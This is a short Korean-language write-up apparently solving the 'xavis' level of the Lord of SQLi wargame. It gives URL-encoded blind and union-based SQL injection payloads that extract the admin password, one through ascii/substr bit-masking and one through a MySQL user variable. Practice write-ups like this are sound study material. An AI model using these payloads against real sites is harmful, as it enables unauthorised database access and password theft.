Web/Lord Of SQL
LOS - xavis / level 19
supp0rt
2024. 7. 9. 21:15
문제

풀이 과정
해당 문제는 2가지의 풀이 방법이 존재한다
1. Blind SQL Injection
2. Union Based
1. Blind SQL Injection
?pw=%27%20and%201%20or%20id=%27admin%27%20and%20ascii(substr(pw,1,1))%20%26%201%20=%200%23
해당 방식으로 substr을 통해 한글자 씩 가져오고 ascii 비트 마스킹을 통하여 비밀번호를 찾을 수 있다
물론 이 방식도 효율적이지만 해당 문제에서는 Union Based 방식을 사용하면 더 쉽게 해결할 수 있다
2. Union Based
Mysql 에서 변수를 지정할 수 있다
이를 활용하여 pw의 값을 변수에 넣고 Union을 사용하여 붙이면 해결 된다
select와 set에 사용가능하며, @a := [대입할 값] 으로 사용할 수 있다
또한, Union select를 사용할 시 출력되는 컬럼 수를 맞춰줘야 하므로 order by 구문으로 확인해 본다
정답
더보기
?pw=%27%20or%20(select%20@a:=pw%20where%20id=%27admin%27)%20union%20select%20@a%23
?pw=우왕굳